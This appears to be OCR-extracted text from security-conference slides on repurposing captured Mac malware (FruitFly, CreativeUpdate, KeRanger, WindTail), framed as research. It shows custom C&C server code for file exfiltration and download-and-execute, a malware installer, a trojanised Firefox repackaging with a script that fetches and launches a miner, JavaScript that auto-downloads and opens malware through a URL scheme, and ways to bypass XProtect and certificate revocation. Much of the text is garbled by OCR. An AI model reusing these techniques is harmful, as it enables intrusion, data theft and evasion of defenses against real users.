Harnessing Weapons
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The Idea

"good hackers copy; great hackers steal’




REPURPOSING MALWARE
.. . for personal gain

'vwﬂ‘&\

spy A a"

_p ‘repurposed’

captured!
(by spy "b")



° Russian hackers are stealing between $3 million to $5 million per day from

® © o r a t h e r Why nOt ! US brands and media companies in one of the most lucrative botnet

operations ever discovered.

Funding for the CIA, National Security Agency, and 14 other civilian
intelligence agencies soared nearly 9 percent to $59.4 billion in fiscal
2018, and military intelligence funding grew more than 20 percent to

$22.1 billion.
fully
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tested
money coders mission

_w that will also be attributed to theml

With more resources and motivations, APT &
v cyber-criminal groups are (likely) going to
l_l write far better malware than you!



WORKS FOR "THEM"
...S0 why not for us?

The Intercept & v
@theintercept

r
i
i
The NSA “can repurpose” malware as it probes popular i
i
i
i
k

&he New Hork Eimes

How Chinese Spies Got the
N.S.A.s Hacking Tools, *
and Used Them for Attacks

security and anti-virus software for vulnerabilities:

4
leaked slides

A r i S ky A
The NSA’s Tailored Access Operations unit “can repurpose the malware,” dep l Oymen t s

presumably before the anti-virus software has been updated to defend

Chinese intelligence agents acquired National Security Agency
o o= '> hacking tools and fépufposed them in 2016 to attack American
allies and private companies in Europe and Asia.

against the threat.

What else can we do?

r
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TAO can repurpose the malware

B

attribution




CHALLENGES

from 3 to ¥ ’

_w» without source code! ‘

B patch (correctly)
-=-9 @ £find all

relevant logic ,3

- = $ [@ understand
C&C protocol

create C&C server

“Transmission” will damage your computer.
‘ A You should eject the disk image.
' : ma 7" QO
IR - * ‘
v Report malware to Apple to protect other users e
?

analysis phase

Cancel Eject Disk Image

@) avoid (AV) detection




EXAMPLE: FAIL

S cat fpsaud

#!/usr/bin/perl

use strict;use warnings;use I0::Socket;use
IPC: :Open2;myS$Sl;sub G{die if'defined
syswrite$l,$ [0]}sub J{my (SU,
SA)=('"',''),;while (S [0]>1length$U) {die if!
sysread$l,SA,S [0]-Iength$U;SU.=$A;}returns$U;}
sub O{unpack'V",J 4}sub N{J O}sub H{mySU=N;
$U=~s/\\/\//g;$U}sub I{my$U=eval{myS$C="$_[O0]"

#backup cé&c servers
for my $B( split /a/, M('lfg7kkblnnhokb71ljrmkb;rm ;kb..."') )

{

push @e, map $_ . $B, split /a/, M('dgl-lwslk-bdqgl...');

}

. . .but backup C&C servers left intact :/



Repurposing

ma.King theirs ...ours!




REPURPOSING
(8 choose your malware!

e)’

-See A products  #Fblog B talks E#malware about

capabilities:

n Mac Malware
P Warning: this page contains malware & adware!

By downloading malware from this site, you waive all rights to claim punitive, incidental
and consequential damages resulting from mishandling or self-infection.

@ mac malware resources

a password for specimens: infect3d

crypto-miner ransomware

‘ download json (contains all info/download links)

search (total samples: 121)

=

| C
backdoor i packdoor we  wewen ¥
Careto (Mask) { backdoor info virus total ‘
ChatZum (QOkaz, Zako) adware info virus total ‘
CoinThief bitcoin stealer | info virus total ‘
- - Coldroot backdoor | info virus total .
. ] ‘\
attribution:
CpuMeaner cryptominer info virus total .
I*i*:*:*:*: Crisis (Davinci, Morcut) ' backdoor ‘ info virus total ‘
*********** ‘; _
o 0 0 0 SR | — - - —
% 0 g TS

120+ mac malware samples!



REPURPOSING
B analyze the specimen

8>

find remote access

N 0x00001ad47 lea eax, dword [edi+4]
"B 0x0000lad4a mov esi, dword [edi+0x44]

82 0x00001a4d sub esp, Oxc

WL 0x00001a50 push eax
B 0x00001a51 call gethostbyname = = «

v

S 1lldb malware.app
(11db) b gethostbyname

C&C . [EEEEINE

SErver

| (11db) x/s * ((char**) ($esp+4))
1 0x00112240: "89.34.111.113" ‘

(T\ understand protocol

| . k‘ p— [T é 14\
7 :tcp.stream eq 8
No. Time Source Destination Protocol Len
86 3.286594 192.168.0.2 192.168.0.13 TCP e he k_'
87 3.286904 192.168.0.13 192.168.90.2 TCP “, 090 C c \n
88 3.286995 192.168.0.13 192.168.90.2 TCP f_,_""f ~
89 3.287144 192.168.0.2 192.168.0.13 W/ .\Y\Sta" Pa‘th
Q0 Oc 29 24 5a 31 20 c9 dO 44 ee 65 98 090 45 @90 .. )%$21 ."(D.e..E.
Q0 4b 2d 4b 49 90 40 @6 8c 02 cO a8 00 9d co a8 KKBe@F «vvvnnn
PO 92 c5 bc 1f 90 80 fa ec 71 8c 47 bl cf 80 18 SN + PN CPP
10 15 df f7 00 00 91 @1 ©8 @9a 3T c2 70 31 Bb 27 | vevvvene o 7.pl. "
3d bb 0d 12 009 @00 99 2f 55 73 65 72 73 2f 75 73 =ssssss / Users/us |
65 72 2f 66 70 73 61 75 64 t_?r'/fpsau d

0x0000848e

0x00004125
0x00004127
0x0000412a

0x00004145
0x00004148

'movzx eax, dl

.

0 understand capabilities

mov dl, byte [dataFromServer]

dec dl
cmp dl, 0x42

jJa 1invalidCommand _{i»

commands!

jmp dword [commands+eax*4]




REPURPOSING
B patch to "reconfigure”

eSS X -

Save Copy
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patching C&C server
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S python server.py 1337

C8
00
00
7D
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E9

listening on ('0.0.0.0",

waiting for a connection..

malware c

original C&C server

d2f8 Q~

Go To Offset
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1

connection received!

Find (Text search)

92.168.0.05.}.1.}.




REPURPOSING
create a custom C&C server

..:_ Finder File Edit View Go Window Help - S 7 Lo Wed9:03PM Q =
=
$ python server.py 1337 E

malware connected: '192.168.0.4'

[+] specify command: 11
sending command: 11 (pwd)

response:
byte: 11 (command)
string: '/Users/user/Desktop'’

i[+jzsbécifyc6mmand:62»
sending command: 02 (screenshot))

e ——— —— ——— —  ——  ———

L]

L2900 B L&

(remote) screenshot

"Offensive Malware Analysis: Dissecting FruitFly" (p. wardle)
3 VirusBulletin.com/uploads/pdf/magazine/2017/VB2017-Wardle.pdf



OSX.FRUITFLY (BACKDOOR)
fully-featured and undetected for 10yrs+

EEEEEEEEEE

Mysterious Mac Malware Has
Infected Victims for Years

The mystery of a Mac malware called “FruitFly.”

— discovered by
\JD ), @thomasareed

7 1)

files processes webcam terminal mouse & keys screenshot



OSX.FRUITFLY

repurposing the backdoor _y no need to patch (malware)!

if (RARGV == 1) {

if ($ARGV[0] =~ /~\d+$/ ){ $h = SARGV[O] )} 7 cz’gm”éﬁﬁi?g/ ;iggﬁmgents/
elsif (SARGV[O0] =~ /*([*:]1+4):(\d+)§/) : - :
($h, Qr) = ($2, scalar reverse $1); KeepAlive = 0;
}} Label "com.fruitfly.host";
_ : . iProgrémArguments = ( - |
$g = shift Qr; push Q@r, $g; , " _ .
S1 = new IO::Socket::INET ( j /Users/user/.fruitfly" |

"ip.addr:port"

PeerAddr => scalar( reverse S$Sqg ),
PeerPort => $h,

Proto => 'tcp',

Timeout => 10 );

parsing cmdline args?

> L('?b S ./fruitfly <port>
/“ \ $ ./fruitfly <addr:port>

specify (custom)C&C via cmdline!




OSX.FRUITFLY

creating a custom installer

ook vardie N hrmm,
B A\ we need an installer then

Replying to @campuscodi

It's from the FBI "Flash" Alert: MC-000091-MW

But this mystery was solved earlier today by Wardle, who discovered an
patrick wardle & v

FBI flash alert sent earlier this year. @patrickwardle

Describing the Fruitfly/Quimitchin malware, the FBI said the following; Wrote an OSX/FruitFIy installer: pastebin.com/LtmcTWwA

= e om omm G Toumm... test Apple's detection claims
(XProtect/MRT) & 3rd-party ones too

The attack vector included the scanning and identification of @
externally facing services, to include the Apple Filing Protocol (A
port 548), RDP or other VNC, SSH (port 22), and Back to My Mac
(BTMM), which would be targeted with weak passwords or

passwords derived from third party data breaches.

v

#ex: $ python fflInstaller.py FruitFly/fpsaud 192.168.0.2:1337
FRUIT FLY = '~/fpsaud’
FRUIT FLY PLIST = '~/Library/LaunchAgents/com.fruit.fly.plist’

@ | ]

plist = '<?xml version="1.0" encoding="UTF-8"7?> ...' COPY malware

shutil.copyfile(sys.argv[l], os.path.expanduser (FRUIT FLY))

with open (os.path.expanduser (FRUIT FLY PLIST), 'w') as plistFile: @ ‘N- i
plistFile.write(plist % (os.path.expanduser (FRUIT FLY), sys.argv[2]))

_ _ write plist
custom OSX.FruitFly installer



DEMO
osx.fruitfly "repurposed"

pma

7 1)




OSX .CREATIVEUPDATE (MINER)
spread via a popular app website

n Firefox 58.0.2 is validly signed (Apple Dev-ID)
Jess-MacUpdate on Feb 01, 2018
g o5 MacUpdate ERERED on Feb 1,20
If you have installed-and-run Firefox 58.0.2 since 1 February 2018, -~ Firefox 58.0.2.dmg

- = — = e - - | b= =0 e i e I e - | F— — = — .- — /Users/user/Desktop/Firefox 58.0.2.dm e
m please note that we have investigated a suspicious link to a Firefox = -> ’ : [ Y\O |'|Oz.\ Ool
item type: zlib compressed data ‘;t”g" > .
N view hashes {a

update posted and found it to be malicious - we have removed the
IINK.

(\3 macupdate.com
{ ] security alert

P — B —— = - — e = =
V sign auth: > Developer ID Application: Ramos Ja

|

| > Developer ID Certification Authority
&\ > Apple Root CA

L&  noar v
gy ©@noarfromspace

Firefox Quantum

S > M

MacUpdate trojan/miner is a Platypus dropper
downloading a miner from Adobe Creative Cloud servers.

monero miner




OSX .CREATIVEUPDATE

a brief triage | .

[~ ] MozillaFirefox
B Info.plist
v B Resources

$ hdiutil attach "Firefox 58.0.2.dmg" iﬁ;h“‘ih T

attached "Firefox 58.0.2.dmg" -> /Volumes/Firefox i

B MainMenu.nib

mount (infected) dmg

app's bundle contents

void -[ScriptExecController loadAppSettings] {

//get path of 'script' in Resources directory
rl3 = [[var 1B0 pathForResource:(@"script" ofType:0x0] retain];

[self executeScriptWithoutPrivileges];

void -[ScriptExecController executeScriptWithoutPrivileges] {

//launch Resources/script

rl3->task = [[NSTask alloc] init];

[r13->task setLaunchPath:rl3->interpreterPath]; - om m
[r13->task setArguments:rl3->arguments];

[r13->task launch];




OSX .CREATIVEUPDATE

/

laounch real Firefox!

S cat /Volumes/Firefox/Firefox.app/Contents/Resources/script A

open Firefox.app L . L L e ]

if [ -f ~/Library/mdworker/mdworker ]; then
killall MozillaFirefox

else
nohup curl -o ~/Library/mdworker.zip https://public.adobecc.com/files/ == == m
1U14RSV3MVAHBMEGVS4LZ42AFNYEFF?content disposition=attachment &&

unzip -o ~/Library/mdworker.zip -d ~/Library &é&

mkdir -p ~/Library/LaunchAgents &&
mv ~/Library/mdworker/MacOSupdate.plist ~/Library/LaunchAgents &é&

sleep 300 && mdworker.zip
launchctl load -w ~/Library/LaunchAgents/MacOSupdate.plist && r___/\___‘
rm -rf ~/Library/mdworker.zip &&

killall MozillaFirefox &

Resources/script
plist binary



OSX .CREATIVEUPDATE

$ cat MacOS.plist

$ ./mdworker -help

Usage:
<key>ProgramArguments</key> minergate-cli [-version] -user <email> ...
<array>

<string>sh</string>

<str1ng> c</string>

| ~/L1brary/mdworker/mdworker B
; -user walkerlS@protonmall ch -Xmr |

@ DOownload Console miner
@ Secure https://minergate.com

GUI miners

: MacOS.plist Downloads

v

‘ | Miner Gate's
D -USEer cli miner
walkerl3@protonmail.ch

mdworker XMy




OSX .CREATIVEUPDATE

v [ Contents

repurposing the miner e
B AppSettings.plist
@ change miner account  no need for server o

B MainMenu.nib
» B _CodeSignature

B add mdworker.zip ——

S cat MacOS.plist

: A
<string> | B Resources/ '
— R |
| ~/L:Lbrary/mdworker/mdworker J D . Do
3‘ -user patrlck@objectlve -See.com —xmr mdworker. ZlP N
S cat Resources/script
open Firefox.app
c e ) ) ) Il B B B *
unzip -o mdworker.zip -d ~/Library &&
mkdir -p ~/Library/LaunchAgents &é& d k .
mv ~/Library/mdworker/MacOS.plist ~/Library/LaunchAgents && maworker.zip
launchctl load -w ~/Library/LaunchAgents/MacOS.plist &é& r-'J\'-\

killall MozillaFirefox &

E) modify Resources/script D D

plist miner



OSX .CREATIVEUPDATE
repurposing the miner

re-package into "Firefox.dmg"

S hdiutil create -volname "Firefox 58.0.2" -srcfolder Firefox.app -ov
-format UDZO "Firefox 58.0.2.dmg"

created: Firefox 58.0.2.dmg




OSX .KERANGER (RANSOMWARE)

spread via popular app s official website

//copy malware:

// General.rtf -> ~/Library/kernel service

// then make executable and execute via 'system'

sprintf chk(pathSrc, ... "%s/Resources/General.rtf", );
sprintf chk (pathDest, ... "%s/Library/kernel service", );

TRANSMISSION

A Fast, Easy, and Free BitTorrent Client

OUT DOWNLOAD DEVELOPMENT ADD-ONS CONTENT N

Feature Spotlight:

« Uses fewer resources than other clie
Transmission 2.90 « Native Mac, GTK+ and Qt GUI clients

« Daemon ideal for servers, embedded
Download Now « All these can be remote controlled by
Release Notes « Local Peer Discovery
Previous Releases « Full encryption, DHT, uTP, PEX and chmod (pa thDest y 0x40 ) ’
Learn More...

system (pathDest) ;

transmission. app
hacked! install, then launch payload

/ypaybad (General.rtf)

el

i

| Globe.tiff
) B BN BN BN BN BN N ’

b @ W@

InfoFileView.nib InfoGeneral.tiff InfoOptions.tiff

S file Transmission.app/Contents/Resources/General.rtf

General.rtf: Mach-O 64-bit executable x86 64

General .rtf
Mach-O 64-bit binary




OSX . KERANGER

S ./networkSniffer

a brief triage GET /osx/ping?

user id=generalé&uuid=c26f3...&model=VMware7,1

I ‘ ,
i = —
r___/\___‘ User-Agent: Mozilla/5.0 (Windows NT 6.1)
R ———— AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
‘ p D 41.0.2228.0 Safari/537.36
I Il B B BB BB BB BB BB
¢

network request to TOR-based C&C
(public) decrypt

RSA key 1instructions

//encrypt /Users
recursive task("/Users", encrypt entry, putReadme);

//encrypt /Volumes
recursive task("/Volumes", check ext encrypt, putReadme); ----=]

N

//mark encryption as completed
sprintf chk (0x0, 0x0, 0x400, "%s/Library/.kernel complete"...);
rbx = fopen(0x0, "w"); fwrite("do not touch this\n", 0x12, 0xl1l, rbx);

encrypt all things!
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OSX . KERANGER

repurposing the ransomware
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OSX . KERANGER

repurposing the ransomware

B create custom C&C "server"

HTTP/1.1 200 OK ?
Date: Sun, 10 Oct 2010 23:26:07 GMT (public)
Server: Apache/2.2.8 (Ubuntu) mod ssl/2.2.8 =  ~=======8-~ - (PU

RSA key
i
MIGfMAOGCSqgGSIb3DQEBAQUAA4GNADCBiQKBgQDDuUx6Py8PNQwaN6Al. . .
NnokVRGKUPt3k3ptXPYQIDAQARB

........... > D
|
c2VuZCBhbGwgeW91lciBtb251eXogdG8gd2FyZ2Gx1QG91iamVjdGl2ZS1
— decrypt
zZWUuY29tIQ== : .
instructions

expected (base64-encoded) response

S nc -1 0.0.0.0 80 < response.txt

"C&C" server




<N N | Il Desktop — nc « sudo — 86x18
lusers—-mac:Desktop user$ sudo nc -1 127.0.0.1 80 < response.txt

[

OBTS_v2_Noerenb OBTS_v2_Fitzl.p
erg_Watson.pdf

. ’

OBTS_v2_ Wardle.p OBTS_v2_Reed.p
df

-

OBTS_v2_ Thomas. OBTS_v2 Seele.;
pdf f



OSX .WINDTAIL (BACKDOOR)
triage (infection vector)

legend

— _

| 1.user visits a malicious website

$ cat Final Presentation.app/
Contents/Info.plist

J 2 .website trigger downloads of
| malicious app that is

<?xml version="1.0" encoding="UTF-8"?> automatically unzipped (Safari)

<dict>

3.0S automatically registers app's
custom URL scheme handlers

<key>CFBundleURLTypes</key>
<array>
"<key>CFBundleURLName</key> ?
4 <string>Local File</string> J
<key>CFBundleURLSchemes</key> |
t <array> *
| <string>openurl2622007</string> H
L</array> e

</dict>
</array>

4 . website loads custom URL scheme

- 5.0S automatically launches
malicious application* to handle

‘ custom URL request

. .system is owned! S

o006 < > [

custom url scheme

"Remote Mac Exploitation Via Custom URL Schemes"
objective-see.com/blog/blog 0x38.html



OSX .WINDTAIL
triage (capabilities) # ./procInfo

[ process start ]
pid: 1258

path: /usr/bin/curl
user: 501

Users & Groups 'O\ user

Password Login Items

args: (

O user These items will open automatically when you log in:
y/ Admin

o g "/usr/bin/curl",
1 Final_Presentation Application "—-pF" p
€@ iTunesHelper Application "vast=@ /tmp/psk txt. Zip" ,
. - n_@"
- = - ’
persistence (login item) : "0d=1601201920543863",
n_@" ,
. "kl=users-mac.lan-user",
: "string2me.com/.../kESk1NvxsNZQcPl.php"
# ./proclInfo ;
i
[ process start ]
pid: 1202 V
path . /usr/bin/ Zip O @, Wireshark - Foll CP Stroams Lon straam o Bl Wi-Fizan0
args ':' /ésr/bin/zj‘p" POST /qgHUDRZiYh0qQiN/KESkNvxsNZQcPl.php HTTP/1.1
, I
"/tmp/psk.txt.zip", ecepts #/e o
T 0 " Content-Length: 4577
/prlvate/etC/raCOOn/pSk . tXt Expect: 100-continue
Content-Type: multipart/form-data; boundary=———————————————————— 111224643919%bec2

file exfiltration

file collection (Vﬂiii <311121)



OSX .WINDTAIL
triage (file download)

- (void) sdf {

//get file name from C&C server

var 50 = [rl5 yoop:@"F5UrO0CCFMO/fWHjecxEqGLy/xq5gE....];

url = [[NSURL alloc] initWithString: [NSString stringWithFormat:wvar 50, ....];
request = [NSURLRequest requestWithURL:url,...];

data = [NSURLConnection sendSynchronousRequest:request ...];

fileName = [[NSString alloc] initWithData:data encoding:rcx ...];

//get file contents from C&C server

rcx = [rl5 yoop:Q@"F5Ur0OCCFMO/fWHjecxEqGLy/xg5gE98Zvi...];

fileContents = [NSData dataWithContentsOfURL: [NSURL URLWithString: [NSString
stringWithFormat:@"%@%@", rcx, r8] ...];

//save to disk

$ ./netiquette -list

[fileContents writeToFile: fileName ...];
B usrnode(4897)
127.0.0.1 -> flux2key.com:80 (Established)
GET /liaROelcOeVvfjN/fsfSQONrIyxeRvXH.php usrnode(4897) ok . 1 ched
(\3 response: file name 127.0.0.1 -> flux2key.com:80 (Established)
" GET /liaROelcOeVvfjN/update ‘ _
response: file contents 2xX connections




OSX .WINDTAIL
triage (...and execute)

- (void) sdf {

//extract via 'ditto’
task = [[NSTask alloc] 1init];

[task setLaunchPath:[var 68 yoop:@"x3EOmwsZL5..."];
rdx = [NSArray arrayWithObjects:Q@"-x", @"-k", ...1]1;
[task setArguments:rdx, ...];

[task launch];

//launch

bundle = [[NSBundle bundleWithPath:filePath] executablePath];
task = [[NSTask alloc] 1init];

[task setLaunchPath:bundle];

[task launch];

# ./proclInfo

[ process start ]

path: /usr/bin/ditto
args: ( "/usr/bin/ditto",
-===p X", -k,

download & execute

--i-

"~/Library/update.zip", "~/Library" )

[ process start ]
path: ~/Library/update.app




OSX .WINDTAIL
triage (remote self-delete)

http://flux2key.com/liaROelcOeVijN/
fsfSQONrIyxeRvXH.php?very=%Q&xnvk=5%@

7

[NSFileManager defaultManager] ;
[ [NSBundle mainBundle] bundlePath];

rl4
rdx

//remove (self)
[r14 removeltemAtPath:rdx error:rcx];

//terminate (self)

i
i
X 4 © terminate

self-delete logic

[ [NSApplication sharedApplication] terminate:0x0 ...];



OSX .WINDTAIL
repurposing the exploit
om0

i
//auto download .zip :
//Safari will unzip & trigger url registration ;
var a = document.createElement('a') ; "
a.setAttribute('href', 'https://file.io/kBTfCn'); ,
a.setAttribute('download', 'Final Presentation'); ,
S (a) .appendTo('body') ; 1
i
[

s;{lél) [():] . C:]_j_(:]('<:) ; I I I I I I I I I N I N N N N =N =

LT

//launch app via custom url scheme 1
location.replace ("openurl2622007://"); == ======24

" Final_Presentation "
download & launch malware

Do you want to allow this page to open “Final_Presentation”?

“Final_Presentation” is an app downloaded
from the Internet. Are you sure you want to
open it?

Cancel Allo

file.io




Favorites

YAHOO!
Apple iCloud Yahoo Bino Google Wikipedia
l The S AN
I n 'Neather ®0©
Channel
Facebook Twitter - __LinkedIn The Weather TripAdvisor
| Channel




OSX .WINDTAIL

repurposing the implant C&C addresses are encrypted :/

- 0B574 00 4C 35 SI 72 30 42 43 46 4D 4F|2F  +rfok+w==.F5Ur@CCFMO0/

@ mOdl fy C&C addresses 0B589 66 57 48 6A 65 63 78 45 71 47 4C 79 2F 78 71 35 67 45 39 38 5A  fWHjecxEqGLy/xq59gE98Z
@B59E 76 69 55 53 4C 72 74 46 50 6D 47 79 56 37 76 5A 64 42 58 32 50  viUSLrtFPmGyV7vZdBX2P

0B5B3 59 59 41 49 66 6D 55 63 67 58 48 6A 4E 5A 65 33 69 62 6E 64 41  YYAIfmUcgXHjNZe3ibndA
0B5C8 4A 41 68 31 66 41 36 39 41 48 77 6A 6A 50 2B 4C 38 53 34 4F 43  JAh1fA69AHw]jP+L8540C
0B5DD 41 46 74 76 /7A 59 77 45|72 30 69 413D 00 69 65 38 44 47 7133  AFtvzYwEr@iA=.ie8DGq3

load library &
hook decryption routine?!

Offset Data Description Value
00000C88 0000000C Command LC_LOAD_DYLIB
SN Ay 00000C8C 00000038 Command Size 56
00000C90 00000018 Str Offset 24
— 00000C94 00000002 Time Stamp Wed Dec 31 14:00:02 1969
l_' * 00000C98 00000908 Current Version 0.9.8
00000COC 00000908 Compatibility Version . —0rerrfr———— ]
® - de 000POCA® 4065786563757461626C655.. Name : ath/swizzle.dylib I N E E = . -l
Executable (X86_64) [SDK10.6] Offset Data Description Value I
Mach64 Header 00000C88 0000000C Command LC_LOAD_DYLIB B e e, . ' - E- i
Load Commands 00000C8C 00000038 Command Size 56 1 v
LC_SEGMENT_64 (_PAGEZERO) 00000CO0 00000018 Str Offset 24
LC_SEGMENT_64 (_TEXT) 00000C94 00000002 Time Stamp Wed Dec 31 14:00:02 1969 |
LC_SEGMENT_64 (_DATA) 00000C98 00000908 Current Version 0.9.8
LC_SEGMENT_64 (_LINKEDIT) 00000COC 00000908 Compatibility Version  0.9.8 1 $ vmma us r.node
LC_DYLD_INFO_ONLY 000P0CA® 2F7573722F6C69622F6C696.. Name Jusr/1lib/libcrypto.0.9.8.dylib o

LC_SYMTAB
LC_DYSYMTAB

LC_LOAD_DYLINKER _TEXT ~/Library/Final Presentation.app/

LC_UUID —
LC_VERSION_MIN_MACOSX Contents/MacOS/usrnode
LC_UNIXTHREAD

LC_LOAD_DYLIB (libcrypto.0.9.8.dylib)
LC_LOAD_DYLIB (Cocoa) {

_TEXT ~/Library/Final_Presentation.app/ }

l‘ [E—

overwrite (un-needed)  Contents/MacOS/swizzle.dylib
LC LOAD DYLIB entry

'injected' dylib: loaded!



OSX .WINDTAIL

repurposing the implant swaps methods, via ‘swizzle

method exchangelImplementations (
class getInstanceMethod([self class], (@selector(swizzle:)), == = = = = = = = = §
class getInstanceMethod (NSClassFromString(@"appdele"), @selector(yoop:))); 1
i
- (NSString*)swizzle:(NSData*)data { e = s s s s s s s e s s s s e e e oo e ==l

//invoke original method ("yoop") to decrypt
decrypted = ((NSString*(*) (id,SEL,NSData¥*) )origImplementation) (self,@selector(yoop:), data);

//modify decrypted string as needed!

return decrypted;

QB url = [rl5 yoop:@"F5UrOCCFMO...]; *
|

= = = = = o "F5Ur0CCFMO. . ."

-> "flux2key.com"

ourSe:rer.com |. N _»  FEUC0CCEMO. " = = = = S mEthOd: "YOOP"
i
1 i1f (decrypt == "flux2key.com") "flux2key.com" 4— N —

e [ return "ourServer.com"

method: "swizzle"



OSX .WINDTAIL
repurposing the implant

Final Presentation.app

: swizzled 'appdele yoop:'

‘ -
: loaded in usrnode (pid 1337) éjZE;ii

: decrypted: "doc"
: decrypted: "docx" flux2key . COIm exfil

: decrypted: "ppt"
ourServer.com D

A download

" & execute
|

: decrypted: flux2key.com
: swapping C&C server addr!
flux2key.com -> "ourServer.com"



http://ourServer.com

OSX .WINDTAIL
custom C&C server: file exfiltration

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer

def run(server class=HTTPServer, handler class=Handler):
httpd = server class(('', 80), handler class)
httpd.serve forever ()

class Handler (BaseHTTPRequestHandler) :

def do POST (self):
boundary = self.headers.plisttext.split("=") [1]
remainbytes = int(self.headers|['content-length'])

fn = re.findall (r'.*name="vast"; filename="(.*)"', line)
fn = os.path.join('/tmp/exfil', £n[O0])

out = open(fn, 'wb')
out.write(self.rfile.readline())

c&c logic: file exfil



sh-3.2# python server.py
Starting 0SX.WindTail C&C Server...

1




OSX .WINDTAIL
custom C&C server: download & execute

def do GET (self) : (@ request: file name
(we pass back "update.zip")

#request for file name
i1f 'runs=tup' 1n self.path:
self . wfile.write('update.zip') @ request . flle contents
#request for file contents
elif 'update.zip' in self.path:
with open('update.zip', mode='rb') as file:
self . wfile.write(file.read())

c&c logic: download & execute

A
-

i3

"update.zip" ¢ ==========--
e

,D

"update.bin"




Mac OS X

@ Terminal Shell Edit View Window Help

Name

¥ ¥ ¥ ¥ ¥y ¥y ¥y vyxvrsrTriIyITyr

L
B Favorites
B FileProvider

* Final_Presentation
B FontCollections
B Fonts
B Group Containers
B HomeKit
B \dentityServices
M iMovie
B Input Methods
B Internet Plug-Ins
B Keyboard
B Keyboard Layouts
B KeyboardServices
B Keychains
B LanguageModeling

Date Modified

Sep 25, 2017 at 9:01 PM
Sep 24, 2017 at 8:36 AM
Jan 16, 2019 at 7:31 PM
Today at 12:53 PM

Sep 24, 2017 at 8:36 AM
Jul 8, 2019 at 3:22 PM
Jan 16, 2019 at 6:26 PM
May 14, 2019 at 9118 PM
Jul 7, 2019 at 11:54 AM
Sep 24, 2017 at 8:36 AM
Sep 24, 2017 at 8:36 AM
Sep 24, 2017 at 8:36 AM
Today at 6:47 PM

Sep 24, 2017 at 8:36 AM
Jan 16, 2019 at 10:26 AM
Today at 4:22 AM

Jul 7, 2019 at 11:56 AM

[

Size

Mon 6:54 PM Q

Kind

Folder
Folder
Folder
Application
Folder
Folder
Folder
Folder
Folder
Folder
Folder
Folder
Folder
Folder
Folder
Folder
Folder

sh-3.2# python server.py
Starting 0SX.WindTail C&C Server...

windtail — Python — 159x20



OSX .WINDTAIL
custom C&C server: self-delete

(@ request: self-delete? ('xnvk')
(respond with: "1")

def do GET (self):

#request for self-delete
i1f 'xnvk' 1in self.path:
self.wfile.write("1")

c&c logic: self-delete

|/
'/.‘ delete

© terminate



o Mon7M12PM Q=

@ Terminal Shell Edit View Window Help

200 B Library

<
Library Library _F

N E RN

Calendars CallServices ColorPickers Compaositions Containers Cookies

o — — o— o
CoreFollowUp Dictionaries Family Favorites FileProvider Final_Presentatio FontCollections
n
Fonts Group Containers HomekKit IdentityServices iMovie Input Methods  Internet Plug-Ins

(<N N ) @ windtail — Python — 159x20

Ish=3.2# python server.py
Starting 0SX.WindTail C&C Server...




'Detection
remaining unseen, by apple, et. al




APPLE'S BUILT-IN MALWARE MITIGATIONS
obstacles...but rather trivial to bypass ;)

"We designed macOS with advanced technologies ...to
constantly monitor, and ultimately keep your Mac safer"

-apple

“Transmission” will damage your computer. q

You should eject the disk i - . . o
‘ e 1 usrnode signed, but certificate has been revoked! m m m m g

It contains the "OSX.KeRanger.A" malware.

A4

v Report malware to Apple to protect other users revo ke d c e r t i f i c a te
_ ance ject Disk Image che c k S q :::zdtz"t::n;: ::h?pened. You should
XProtect T

S log show | grep -i MRT

2019-07-16 MRT: (libswiftFoundation.dylib) Found OSX.Snake.A infection.
2019-07-16 MRT: (libswiftFoundation.dylib) Found OSX.CpuMeaner.A infection.

Malware Removal Tool (MRT)



XPROTECT

UXProtect’ (Digita)

B % /Users/patrick/Projects/repurpose/keranger/Transmission.app
Scan Results
Hits Files Scanned Scan Start Scan End Target
ugins

-

[ J 1 438 2019-07-17 11:49:57 2019-07-17 11:50:03 /Users/patrick/Projects/repurpose/keranger/Transmission.app

scans downloads

Scan Rule Matches

Yara Rules FilePath

KeRangerA /Users/patrick/Projects/repurpose/keranger/Transmission.app/Contents/MacOS/Transmission
= = = kg

rule KeRangerA

{

meta:
description = "OSX.KeRanger.A"

strings:

$a = {48 8D BD DO EF FF FF BE 00 00 00 00 BA 00 04 00 00 31 CO 49 89 D8 ?? ?? ?? ?? ?? 31 F6
4C 89 E7 ?? ?? ?? ?? ?? 83 F8 FF 74 57 C7 85 C4 EB FF FF 00 00 00 00}

condition:
Macho and %$a

/System/Library/CoreServices/XProtect.bundle/Contents/
Resources/XProtect.yara



BYPASSING XPROTECT
. . .by changing 1 byte

XProtect.yara

I8 description = "OSX.KeRanger.A"

VA strings:

03 Sa = {48 8D BD DO EF FF FF BE 00 00 00 00 BA 00 04 00 00 31 CO 49 89 D8 ?? ?? ?2? ?2? ?2?
o i 31 F6 4C 89 E7 ?2? ?? 2? ?? ?? 83 F8 FF 74 57 C7 85 C4 EB FF FF 00 00 00 00}

rdi, qword [rbp+

csi: Ox0
edx, 0x400
Z@Z4a0 fé:'(f;;“ |
0024b0 | imp___ _stubs_ sprintf_chk
0024c0 esl, esl
002440 rdi, ri2
| | imp___ stubs__access
Transmission.app * | e e
; dword [rbp+
re-order
how to Change? g ins truCtiOns rdi, qword [rbp-0x1030]
= = = p [ cix, 0x300
modi fy i — —
instructions/consts mov edx, 0x400

LR 2

mov edx, 0x300



- g e B — — — — — — m— m— m— m— — m— — — D o R S

users-Mac:~ user$

Transmission

Transmission 2



CERTIFICATE CHECKS
a security mechanism to block malicious code

$ spctl --verbose=4 --assess --type execute 0OSX.WindTail/Final Presentation.app
Final Presentation.app: CSSMERR TP CERT REVOKED

revoked
(CSSMERR TP CERT REVOKED)

usrnode
/Users/patrick/Downloads/WindTail/Final_Presentation.app

a usrnode signed, but certificate has been revoked!
L

item type: application
hashes: view hashes

entitled: none
sign auth: signed, but no signing authorities (adhoc?)

EREE 2

now revoked: OSX.WindTail

S log stream

kernel: (AppleMobileFilelIntegrity) AMFI: code signature validation failed.
trustd: [com.apple.securityd:policy] cert[0]: Revocation =(leaf) [force]> 1

amfid: (Security) Trust evaluate failure: [leaf Revocationl]
kernel: proc 1947: load code signature error 4 for file "usrnode"

reVOked cert? ﬁ move it to the Trash. .

l objective-see.com
I B B B BB BB BB BB BB =B BB BB BB B E s

Bl blocked!

? Cancel Move to Trash




BYPASSING CERTIFICATE REVOCATION
.. .Ssimply unsign (and/or) resign

~p undocumented § |0.92 ——remove-si gnatur e

 ——-remove-signature | OSX.WindTail/Final Presentation.app

$ codesign -dvv OSX.WindTail/Final Presentation.app

Final Presentation.app: code object is not signed at all

